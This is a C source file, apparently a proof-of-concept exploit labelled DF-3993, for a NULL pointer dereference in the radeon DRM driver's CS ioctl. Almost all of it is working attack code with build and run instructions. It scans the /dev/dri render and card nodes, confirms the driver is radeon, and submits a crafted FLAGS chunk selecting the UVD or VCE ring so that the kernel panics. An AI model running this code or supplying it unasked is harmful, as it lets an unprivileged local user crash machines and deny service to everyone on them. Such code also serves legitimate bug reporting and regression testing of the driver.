DF-3993 / cs_nullring.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | /* * DF-3993 — radeon CS ioctl NULL asic->ring[] deref (kernel panic) * * Unprivileged local DoS: submit RADEON_CS with a FLAGS chunk whose second * dword selects the UVD ring on an asic whose dispatch table does not wire * ring[R600_RING_TYPE_UVD_INDEX] (every r100..r520 table and r600_asic), * or the VCE ring on any family except TN/SI/CI/KV. * * radeon_cs_parser_init() (sys/dev/drm/radeon/radeon_cs.c) * radeon_cs_get_ring(p, ring=RADEON_CS_RING_UVD) -> p->ring = 5 * if ((p->cs_flags & RADEON_CS_USE_VM) == 0) * if (p->rdev->asic->ring[p->ring]->cs_parse == NULL) <-- NULL + 0x20 * * Build: cc -O2 -o cs_nullring cs_nullring.c * Run: ./cs_nullring [ringid] (default 3 = RADEON_CS_RING_UVD) * * Needs a real radeon GPU with radeonkms attached (pre-RV610 or R600 for * UVD; r100..cayman for VCE). Requires DRM_AUTH: run where you can become * DRM master (no X/master held) or use a render node. */ #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdint.h> /* ---- minimal DRM UAPI (drm.h) ---- */ #define DRM_IOCTL_BASE 'd' #define DRM_IOC(dir, group, nr, size) \ ((dir) | ((size) << 16) | ((group) << 8) | (nr)) struct drm_version { int version_major, version_minor, version_patchlevel; size_t name_len; char *name; size_t date_len; char *date; size_t desc_len; char *desc; }; #define DRM_IOCTL_VERSION DRM_IOC(0, DRM_IOCTL_BASE, 0x00, sizeof(struct drm_version)) /* ---- radeon UAPI (radeon_drm.h, verbatim layout) ---- */ #define RADEON_GEM_DOMAIN_GPU 0x00ffffff struct drm_radeon_cs_chunk { uint32_t chunk_id; uint32_t length_dw; uint64_t chunk_data; }; struct drm_radeon_cs { uint32_t num_chunks; uint32_t cs_id; uint64_t chunks; uint64_t gart_limit; uint64_t vram_limit; }; #define RADEON_CHUNK_ID_IB 0x02 #define RADEON_CHUNK_ID_FLAGS 0x03 #define RADEON_CS_RING_GFX 0 #define RADEON_CS_RING_COMPUTE 1 #define RADEON_CS_RING_DMA 2 #define RADEON_CS_RING_UVD 3 #define RADEON_CS_RING_VCE 4 #define DRM_COMMAND_BASE 0x40 #define DRM_RADEON_CS 0x14 #define DRM_IOCTL_RADEON_CS DRM_IOC(0, DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_RADEON_CS, sizeof(struct drm_radeon_cs)) static int try_card(const char *node, int ring) { int fd = open(node, O_RDWR); if (fd < 0) return -1; /* sanity: driver must be radeon */ struct drm_version v; char name[64] = {0}; memset(&v, 0, sizeof(v)); v.name_len = sizeof(name) - 1; v.name = name; if (ioctl(fd, DRM_IOCTL_VERSION, &v) < 0) { close(fd); return -1; } if (strcmp(name, "radeon") != 0) { close(fd); return -1; } /* * FLAGS chunk only. The crash occurs inside radeon_cs_parser_init() * before any buffer validation, so no IB/relocs/GEM handles needed. */ uint32_t flags_data[2] = { 0 /* no RADEON_CS_USE_VM */, (uint32_t)ring }; struct drm_radeon_cs_chunk chunk = { .chunk_id = RADEON_CHUNK_ID_FLAGS, .length_dw = 2, .chunk_data = (uint64_t)(uintptr_t)flags_data, }; uint64_t chunk_ptr = (uint64_t)(uintptr_t)&chunk; struct drm_radeon_cs cs = { .num_chunks = 1, .chunks = (uint64_t)(uintptr_t)&chunk_ptr, }; printf("[*] %s: submitting CS with ring=%d (UVD) -- expect panic if auth passes\n", node, ring); int r = ioctl(fd, DRM_IOCTL_RADEON_CS, &cs); printf("[*] ioctl returned %d (errno msg follows if -1; -EACCES/-EINVAL = not authenticated)\n", r); close(fd); return 0; } int main(int argc, char **argv) { int ring = (argc > 1) ? atoi(argv[1]) : RADEON_CS_RING_UVD; static const char *nodes[] = { "/dev/dri/renderD128", "/dev/dri/renderD129", "/dev/dri/card0", "/dev/dri/card1", NULL }; for (int i = 0; nodes[i]; i++) if (try_card(nodes[i], ring) == 0) return 0; fprintf(stderr, "no radeon DRM device found\n"); return 1; } |